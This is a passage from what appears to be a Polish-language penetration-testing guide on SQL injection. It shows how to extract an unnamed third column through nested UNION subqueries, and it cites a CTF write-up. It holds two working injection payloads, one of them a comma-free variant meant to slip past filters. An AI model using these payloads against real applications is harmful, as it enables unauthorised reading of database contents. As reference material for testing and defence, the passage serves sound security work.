Możliwe jest uzyskanie dostępu do trzeciej kolumny tabeli bez użycia jej nazwy za pomocą zapytania takiego jak: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, więc w przypadku ataku SQL Injection wyglądałoby to tak:

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

Lub używając omijania przecinka:

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

Ten trik został zaczerpnięty z https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/

Narzędzia sugerujące obejście WAF

Inne przewodniki

Lista wykrywania prób siłowych

​​​​​​​RootedCON to najważniejsze wydarzenie związane z cyberbezpieczeństwem w Hiszpanii i jedno z najważniejszych w Europie. Mając na celu promowanie wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Last updated